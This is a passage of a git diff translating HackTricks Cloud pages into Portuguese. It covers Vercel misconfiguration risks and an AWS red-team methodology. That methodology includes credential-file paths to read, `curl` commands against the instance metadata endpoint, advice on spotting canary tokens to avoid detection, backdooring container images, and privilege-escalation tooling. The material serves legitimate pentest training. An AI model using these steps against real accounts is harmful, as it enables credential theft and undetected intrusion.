podem ser considerados informações pessoais sob certas leis de proteção de dados, são exibidos em consultas de Monitoramento e Log Drains. +- **Má configuração:** Deixar a visibilidade do endereço IP habilitada sem necessidade. +- **Riscos:** +- **Violação de Privacidade:** Não conformidade com regulamentos de proteção de dados como GDPR. +- **Repercussões Legais:** Multas e penalidades potenciais por manuseio inadequado de dados pessoais. +- **Bloqueio de IP:** Permite a configuração de endereços IP e intervalos CIDR que o Vercel deve bloquear solicitações. Solicitações bloqueadas não contribuem para sua cobrança. +- **Má configuração:** Poderia ser abusada por um atacante para permitir tráfego malicioso ou bloquear tráfego legítimo. +- **Riscos:** +- **Negação de Serviço a Usuários Legítimos:** Bloqueio de acesso para usuários ou parceiros válidos. +- **Interrupções Operacionais:** Perda de disponibilidade de serviço para certas regiões ou clientes. --- -### Secure Compute +### Computação Segura -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute** permite conexões seguras e privadas entre Funções Vercel e ambientes de backend (por exemplo, bancos de dados) estabelecendo redes isoladas com endereços IP dedicados. Isso elimina a necessidade de expor serviços de backend publicamente, aprimorando a segurança, conformidade e privacidade. -#### **Potential Misconfigurations and Risks** +#### **Possíveis Má Configurações e Riscos** -1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. -2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. -3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. -4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. -5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. -6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. -7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. -8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. -9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. -10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +1. **Seleção Incorreta de Região AWS** +- **Má configuração:** Escolher uma região AWS para a rede Secure Compute que não corresponda à região dos serviços de backend. +- **Risco:** Aumento da latência, potenciais problemas de conformidade de residência de dados e desempenho degradado. +2. **Blocos CIDR Sobrepostos** +- **Má configuração:** Selecionar blocos CIDR que se sobrepõem a VPCs existentes ou outras redes. +- **Risco:** Conflitos de rede levando a conexões falhadas, acesso não autorizado ou vazamento de dados entre redes. +3. **Configuração Impropria de Peering VPC** +- **Má configuração:** Configuração incorreta do peering VPC (por exemplo, IDs de VPC errados, atualizações incompletas da tabela de rotas). +- **Risco:** Acesso não autorizado à infraestrutura de backend, conexões seguras falhadas e potenciais vazamentos de dados. +4. **Atribuições Excessivas de Projetos** +- **Má configuração:** Atribuir vários projetos a uma única rede Secure Compute sem o devido isolamento. +- **Risco:** Exposição de IP compartilhado aumenta a superfície de ataque, permitindo que projetos comprometidos afetem outros. +5. **Gerenciamento Inadequado de Endereços IP** +- **Má configuração:** Falha em gerenciar ou rotacionar endereços IP dedicados adequadamente. +- **Risco:** Spoofing de IP, vulnerabilidades de rastreamento e potencial blacklist se os IPs estiverem associados a atividades maliciosas. +6. **Inclusão Desnecessária de Contêineres de Build** +- **Má configuração:** Adicionar contêineres de build à rede Secure Compute quando o acesso ao backend não é necessário durante as builds. +- **Risco:** Superfície de ataque expandida, atrasos aumentados na provisão e consumo desnecessário de recursos de rede. +7. **Falha em Lidar com Segredos de Bypass de Forma Segura** +- **Má configuração:** Expor ou manusear incorretamente segredos usados para contornar proteções de implantação. +- **Risco:** Acesso não autorizado a implantações protegidas, permitindo que atacantes manipulem ou implantem código malicioso. +8. **Ignorar Configurações de Failover de Região** +- **Má configuração:** Não configurar regiões de failover passivas ou configurar incorretamente as configurações de failover. +- **Risco:** Tempo de inatividade do serviço durante interrupções na região primária, levando a disponibilidade reduzida e potencial inconsistência de dados. +9. **Excedendo Limites de Conexão de Peering VPC** +- **Má configuração:** Tentar estabelecer mais conexões de peering VPC do que o limite permitido (por exemplo, excedendo 50 conexões). +- **Risco:** Incapacidade de conectar serviços de backend necessários de forma segura, causando falhas de implantação e interrupções operacionais. +10. **Configurações de Rede Inseguras** +- **Má configuração:** Regras de firewall fracas, falta de criptografia ou segmentação inadequada da rede dentro da rede Secure Compute. +- **Risco:** Interceptação de dados, acesso não autorizado a serviços de backend e aumento da vulnerabilidade a ataques. --- -### Environment Variables +### Variáveis de Ambiente -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**Propósito:** Gerenciar variáveis específicas do ambiente e segredos usados por todos os projetos. -#### Security Configurations: +#### Configurações de Segurança: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Expondo Variáveis Sensíveis** +- **Má configuração:** Prefixar variáveis sensíveis com `NEXT_PUBLIC_`, tornando-as acessíveis no lado do cliente. +- **Risco:** Exposição de chaves de API, credenciais de banco de dados ou outros dados sensíveis ao público, levando a vazamentos de dados. +- **Sensível desativado** +- **Má configuração:** Se desativado (padrão), é possível ler os valores dos segredos gerados. +- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..0e0fa1140 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**Antes de começar o pentesting** em um **AWS** ambiente, há algumas **coisas básicas que você precisa saber** sobre como o AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las. -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +Conceitos como hierarquia organizacional, IAM e outros conceitos básicos são explicados em: {{#ref}} aws-basic-information/ {{#endref}} -## Labs to learn +## Laboratórios para aprender - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -22,49 +22,49 @@ aws-basic-information/ - [http://flaws.cloud/](http://flaws.cloud/) - [http://flaws2.cloud/](http://flaws2.cloud/) -Tools to simulate attacks: +Ferramentas para simular ataques: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodology +## Metodologia de Pentester/Red Team da AWS -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** ao que, e como os serviços internos da AWS e os **serviços externos** estão conectados. -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente AWS** é conseguir obter algumas **credenciais**. Aqui estão algumas ideias sobre como fazer isso: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- **Vazamentos** no github (ou similar) - OSINT +- **Engenharia** Social +- Reutilização de **Senhas** (vazamentos de senhas) +- Vulnerabilidades em Aplicações Hospedadas na AWS +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) com acesso ao endpoint de metadados +- **Leitura de Arquivo Local** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- **terceiros** **vazados** +- Funcionário **Interno** +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciais -Or by **compromising an unauthenticated service** exposed: +Ou por **comprometer um serviço não autenticado** exposto: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +Ou se você estiver fazendo uma **revisão**, você poderia apenas **pedir credenciais** com esses papéis: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Depois de conseguir obter credenciais, você precisa saber **de quem são essas credenciais**, e **a que elas têm acesso**, então você precisa realizar alguma enumeração básica: -## Basic Enumeration +## Enumeração Básica ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +Se você encontrou um SSRF em uma máquina dentro da AWS, verifique esta página para truques: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +Uma das primeiras coisas que você precisa saber é quem você é (em qual conta você está e outras informações sobre o ambiente AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Note que as empresas podem usar **canary tokens** para identificar quando **tokens estão sendo roubados e usados**. É recomendável verificar se um token é um canary token ou não antes de usá-lo.\ +> Para mais informações [**verifique esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). -### Org Enumeration +### Enumeração de Org {{#ref}} aws-services/aws-organizations-enum.md {{#endref}} -### IAM Enumeration +### Enumeração de IAM -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +Se você tiver permissões suficientes, **verificar os privilégios de cada entidade dentro da conta AWS** ajudará você a entender o que você e outras identidades podem fazer e como **escalar privilégios**. -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar e forçar** para descobri-los.\ +Verifique **como fazer a enumeração e a força bruta** em: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Agora que você **tem algumas informações sobre suas credenciais** (e se você é um red team, espero que você **não tenha sido detectado**). É hora de descobrir quais serviços estão sendo usados no ambiente.\ +> Na seção a seguir, você pode verificar algumas maneiras de **enumerar alguns serviços comuns.** -## Services Enumeration, Post-Exploitation & Persistence +## Enumeração de Serviços, Pós-Exploração e Persistência -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +A AWS tem uma quantidade impressionante de serviços, na página a seguir você encontrará **informações básicas, cheatsheets de enumeração**, como **evitar detecção**, obter **persistência** e outros truques de **pós-exploração** sobre alguns deles: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +Note que você **não** precisa realizar todo o trabalho **manualmente**, abaixo neste post você pode encontrar uma **seção sobre** [**ferramentas automáticas**](./#automated-tools). -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +Além disso, nesta fase você pode ter descoberto **mais serviços expostos a usuários não autenticados**, você pode ser capaz de explorá-los: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -## Privilege Escalation +## Escalação de Privilégios -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +Se você pode **verificar pelo menos suas próprias permissões** sobre diferentes recursos, você poderia **verificar se é capaz de obter mais permissões**. Você deve se concentrar pelo menos nas permissões indicadas em: {{#ref}} aws-privilege-escalation/ {{#endref}} -## Publicly Exposed Services +## Serviços Expostos Publicamente -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +Enquanto enumerava os serviços da AWS, você pode ter encontrado alguns deles **expondo elementos à Internet** (portas de VM/Containers, bancos de dados ou serviços de fila, snapshots ou buckets...).\ +Como pentester/red teamer, você deve sempre verificar se pode encontrar **informações sensíveis / vulnerabilidades** neles, pois podem fornecer a você **mais acesso à conta AWS**. -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +Neste livro, você deve encontrar **informações** sobre como encontrar **serviços AWS expostos e como verificá-los**. Sobre como encontrar **vulnerabilidades em serviços de rede expostos**, eu recomendaria que você **pesquisasse** pelo **serviço** específico em: {{#ref}} https://book.hacktricks.xyz/ {{#endref}} -## Compromising the Organization +## Comprometendo a Organização -### From the root/management account +### Da conta root/gestão -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e concedendo a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
-So, in order to access as administrator a child account you need: +Portanto, para acessar como administrador uma conta filha, você precisa: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **Comprometer** a conta de **gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin. +- Para encontrar contas filhas, vá para a seção de organizações no console da aws ou execute `aws organizations list-accounts` +- Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas descobertas anteriormente**. +- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se passe por ela, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias). -## Automated Tools +## Ferramentas Automatizadas ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, escrita em Ruby. ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist é uma **ferramenta multi-cloud para obter Ativos** (Nomes de Host, Endereços IP) de Provedores de Nuvem. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper ajuda você a analisar seus ambientes da Amazon Web Services (AWS). Agora contém muito mais funcionalidades, incluindo auditoria para problemas de segurança. ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartography é uma ferramenta Python que consolida ativos de infraestrutura e os relacionamentos entre eles em uma visualização gráfica intuitiva alimentada por um banco de dados Neo4j. ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura de nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta é uma ferramenta que tenta **descobrir todos os** [**recursos da AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) criados em uma conta. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): É uma ferramenta para **buscar todos os endereços IP públicos** (tanto IPv4/IPv6) associados a uma conta da AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubra os usuários mais privilegiados no ambiente AWS escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. Você pode encontrar a **definição de políticas privilegiadas** na função **`Check-PrivilegedPolicy`** em [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes de nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**. +- Observe que o pacu **verifica apenas seus próprios caminhos de privesc** (não em toda a conta). ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **escalonamento de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining é uma ferramenta de Avaliação de Segurança do AWS IAM que identifica violações do princípio do menor privilégio e gera um relatório HTML priorizado por risco.\ +Ele mostrará clientes **super privilegiados** potenciais, políticas **inline** e **políticas** do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso). ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e CloudFront. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositórios ECR -> Puxar repositório ECR -> Inserir backdoor -> Enviar imagem com backdoor +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** através de snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados. -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. - -### Audit - -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). +### Auditoria +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit da Aqua é um projeto de código aberto projetado para permitir a detecção de **riscos de segurança em contas de infraestrutura em nuvem**, incluindo: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) e GitHub (não procura por ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler é uma ferramenta de segurança de código aberto para realizar avaliações de melhores práticas de segurança da AWS, auditorias, resposta a incidentes, monitoramento contínuo, endurecimento e prontidão forense. ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox ajuda você a obter consciência situacional em ambientes de nuvem desconhecidos. É uma ferramenta de linha de comando de código aberto criada para ajudar testadores de penetração e outros profissionais de segurança ofensiva a encontrar caminhos de ataque exploráveis na infraestrutura de nuvem. ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes de nuvem. ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (usa python2.7 e parece não estar mantido) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus é uma ferramenta poderosa para as melhores práticas de hardening do AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (parece não estar mantido). Ele verifica apenas as credenciais configuradas por padrão dentro do sistema. -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### Auditoria Contínua -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to 